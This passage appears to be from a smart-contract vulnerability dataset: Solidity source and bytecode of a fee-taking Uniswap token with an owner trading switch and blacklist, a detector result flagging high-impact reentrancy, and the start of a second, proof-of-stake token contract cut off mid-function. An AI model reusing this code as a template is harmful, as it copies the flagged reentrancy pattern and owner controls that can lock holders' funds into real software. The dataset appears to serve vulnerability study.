address payable private _developmentAddress = payable(0x7A538861AFc8485e5aDB00430Fd020b572083290);
address payable private _marketingAddress = payable(0x7A538861AFc8485e5aDB00430Fd020b572083290);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104fe578063dd62ed3e1461051e578063ea1644d514610564578063f2fde38b1461058457600080fd5b8063a9059cbb14610499578063bfd79284146104b9578063c3c8cd80146104e957600080fd5b80638f70ccf7116100c65780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047957600080fd5b80637d1db4a5146103b55780637f2feddc146103cb5780638da5cb5b146103f857600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034b5780636fc3eaec1461036b57806370a0823114610380578063715018a6146103a057600080fd5b8063313ce567146102ef57806349bd5a5e1461030b5780636b9990531461032b57600080fd5b80631694505e116101955780631694505e1461025d57806318160ddd1461029557806323b872dd146102b95780632fd689e3146102d957600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022d57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611899565b6105a4565b005b3480156101f457600080fd5b5060408051808201909152600a8152694b757275737520496e7560b01b60208201525b604051610224919061195e565b60405180910390f35b34801561023957600080fd5b5061024d6102483660046119b3565b610643565b6040519015158152602001610224565b34801561026957600080fd5b5060145461027d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b3480156102a157600080fd5b5066038d7ea4c680005b604051908152602001610224565b3480156102c557600080fd5b5061024d6102d43660046119df565b61065a565b3480156102e557600080fd5b506102ab60185481565b3480156102fb57600080fd5b5060405160098152602001610224565b34801561031757600080fd5b5060155461027d906001600160a01b031681565b34801561033757600080fd5b506101e6610346366004611a20565b6106c3565b34801561035757600080fd5b506101e6610366366004611a4d565b61070e565b34801561037757600080fd5b506101e6610756565b34801561038c57600080fd5b506102ab61039b366004611a20565b6107a1565b3480156103ac57600080fd5b506101e66107c3565b3480156103c157600080fd5b506102ab60165481565b3480156103d757600080fd5b506102ab6103e6366004611a20565b60116020526000908152604090205481565b34801561040457600080fd5b506000546001600160a01b031661027d565b34801561042257600080fd5b506101e6610431366004611a4d565b610837565b34801561044257600080fd5b506102ab60175481565b34801561045857600080fd5b506040805180820190915260048152634b494e5560e01b6020820152610217565b34801561048557600080fd5b506101e6610494366004611a68565b61087f565b3480156104a557600080fd5b5061024d6104b43660046119b3565b6108ae565b3480156104c557600080fd5b5061024d6104d4366004611a20565b60106020526000908152604090205460ff1681565b3480156104f557600080fd5b506101e66108bb565b34801561050a57600080fd5b506101e6610519366004611a81565b61090f565b34801561052a57600080fd5b506102ab610539366004611b05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057057600080fd5b506101e661057f366004611a68565b6109b0565b34801561059057600080fd5b506101e661059f366004611a20565b6109df565b6000546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce90611b3e565b60405180910390fd5b60005b815181101561063f576001601060008484815181106105fb576105fb611b73565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063781611b9f565b9150506105da565b5050565b6000610650338484610ac9565b5060015b92915050565b6000610667848484610bed565b6106b984336106b485604051806060016040528060288152602001611cb9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611129565b610ac9565b5060019392505050565b6000546001600160a01b031633146106ed5760405162461bcd60e51b81526004016105ce90611b3e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016105ce90611b3e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078b57506013546001600160a01b0316336001600160a01b0316145b61079457600080fd5b4761079e81611163565b50565b6001600160a01b0381166000908152600260205260408120546106549061119d565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016105ce90611b3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108615760405162461bcd60e51b81526004016105ce90611b3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016105ce90611b3e565b601855565b6000610650338484610bed565b6012546001600160a01b0316336001600160a01b031614806108f057506013546001600160a01b0316336001600160a01b0316145b6108f957600080fd5b6000610904306107a1565b905061079e81611221565b6000546001600160a01b031633146109395760405162461bcd60e51b81526004016105ce90611b3e565b60005b828110156109aa57816005600086868581811061095b5761095b611b73565b90506020020160208101906109709190611a20565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109a281611b9f565b91505061093c565b50505050565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016105ce90611b3e565b601755565b6000546001600160a01b03163314610a095760405162461bcd60e51b81526004016105ce90611b3e565b6001600160a01b038116610a6e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ce565b6001600160a01b038216610b8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ce565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ce565b6001600160a01b038216610cb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ce565b60008111610d155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ce565b6000546001600160a01b03848116911614801590610d4157506000546001600160a01b03838116911614155b1561102257601554600160a01b900460ff16610dda576000546001600160a01b03848116911614610dda5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ce565b601654811115610e2c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ce565b6001600160a01b03831660009081526010602052604090205460ff16158015610e6e57506001600160a01b03821660009081526010602052604090205460ff16155b610ec65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ce565b6015546001600160a01b03838116911614610f4b5760175481610ee8846107a1565b610ef29190611bba565b10610f4b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ce565b6000610f56306107a1565b601854601654919250821015908210610f6f5760165491505b808015610f865750601554600160a81b900460ff16155b8015610fa057506015546001600160a01b03868116911614155b8015610fb55750601554600160b01b900460ff165b8015610fda57506001600160a01b03851660009081526005602052604090205460ff16155b8015610fff57506001600160a01b03841660009081526005602052604090205460ff16155b1561101f5761100d82611221565b47801561101d5761101d47611163565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061106457506001600160a01b03831660009081526005602052604090205460ff165b8061109657506015546001600160a01b0385811691161480159061109657506015546001600160a01b03848116911614155b156110a35750600061111d565b6015546001600160a01b0385811691161480156110ce57506014546001600160a01b03848116911614155b156110e057600854600c55600954600d555b6015546001600160a01b03848116911614801561110b57506014546001600160a01b03858116911614155b1561111d57600a54600c55600b54600d555b6109aa848484846113aa565b6000818484111561114d5760405162461bcd60e51b81526004016105ce919061195e565b50600061115a8486611bd2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561063f573d6000803e3d6000fd5b60006006548211156112045760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ce565b600061120e6113d8565b905061121a83826113fb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126957611269611b73565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112bd57600080fd5b505afa1580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190611be9565b8160018151811061130857611308611b73565b6001600160a01b03928316602091820292909201015260145461132e9130911684610ac9565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611367908590600090869030904290600401611c06565b600060405180830381600087803b15801561138157600080fd5b505af1158015611395573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113b7576113b761143d565b6113c284848461146b565b806109aa576109aa600e54600c55600f54600d55565b60008060006113e5611562565b90925090506113f482826113fb565b9250505090565b600061121a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a0565b600c5415801561144d5750600d54155b1561145457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061147d876115ce565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114af908761162b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114de908661166d565b6001600160a01b038916600090815260026020526040902055611500816116cc565b61150a8483611716565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161154f91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061157c82826113fb565b8210156115975750506006549266038d7ea4c6800092509050565b90939092509050565b600081836115c15760405162461bcd60e51b81526004016105ce919061195e565b50600061115a8486611c77565b60008060008060008060008060006115eb8a600c54600d5461173a565b92509250925060006115fb6113d8565b9050600080600061160e8e87878761178f565b919e509c509a509598509396509194505050505091939550919395565b600061121a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611129565b60008061167a8385611bba565b90508381101561121a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ce565b60006116d66113d8565b905060006116e483836117df565b30600090815260026020526040902054909150611701908261166d565b30600090815260026020526040902055505050565b600654611723908361162b565b600655600754611733908261166d565b6007555050565b6000808080611754606461174e89896117df565b906113fb565b90506000611767606461174e8a896117df565b9050600061177f826117798b8661162b565b9061162b565b9992985090965090945050505050565b600080808061179e88866117df565b905060006117ac88876117df565b905060006117ba88886117df565b905060006117cc82611779868661162b565b939b939a50919850919650505050505050565b6000826117ee57506000610654565b60006117fa8385611c99565b9050826118078583611c77565b1461121a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ce565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079e57600080fd5b803561189481611874565b919050565b600060208083850312156118ac57600080fd5b823567ffffffffffffffff808211156118c457600080fd5b818501915085601f8301126118d857600080fd5b8135818111156118ea576118ea61185e565b8060051b604051601f19603f8301168101818110858211171561190f5761190f61185e565b60405291825284820192508381018501918883111561192d57600080fd5b938501935b828510156119525761194385611889565b84529385019392850192611932565b98975050505050505050565b600060208083528351808285015260005b8181101561198b5785810183015185820160400152820161196f565b8181111561199d576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156119c657600080fd5b82356119d181611874565b946020939093013593505050565b6000806000606084860312156119f457600080fd5b83356119ff81611874565b92506020840135611a0f81611874565b929592945050506040919091013590565b600060208284031215611a3257600080fd5b813561121a81611874565b8035801515811461189457600080fd5b600060208284031215611a5f57600080fd5b61121a82611a3d565b600060208284031215611a7a57600080fd5b5035919050565b600080600060408486031215611a9657600080fd5b833567ffffffffffffffff80821115611aae57600080fd5b818601915086601f830112611ac257600080fd5b813581811115611ad157600080fd5b8760208260051b8501011115611ae657600080fd5b602092830195509350611afc9186019050611a3d565b90509250925092565b60008060408385031215611b1857600080fd5b8235611b2381611874565b91506020830135611b3381611874565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb357611bb3611b89565b5060010190565b60008219821115611bcd57611bcd611b89565b500190565b600082821015611be457611be4611b89565b500390565b600060208284031215611bfb57600080fd5b815161121a81611874565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c565784516001600160a01b031683529383019391830191600101611c31565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cb357611cb3611b89565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5c447a568e99a557dfa71389af73e894fea399cd60a2bdeafd2291d0b7b522b64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 942 |
0x4a2c5a2c189fa9a9d69f7ae4265a4c83224fd15d | pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ICOBIDTokenSpecs
* @dev the interface of ICOBIDTokenSpecs
*/
contract ICOBIDTokenSpecs {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract ICOBIDToken is ERC20,ICOBIDTokenSpecs,Ownable {
using SafeMath for uint256;
string public name = "ICOBID Token";
string public symbol = "ICOT";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 2 hours; // minimum age for coin age: 2H
uint public stakeMaxAge = 30 days; // stake age of full weight: 2D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function ICOBIDToken() {
maxTotalSupply = 10**26; // 100 Mil.
totalInitialSupply = 3*10**25; // 30 Mil.
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
// Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
// 1st year effective annual interest rate is 100% when we select the stakeMaxAge (30 days) as the compounding period.
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
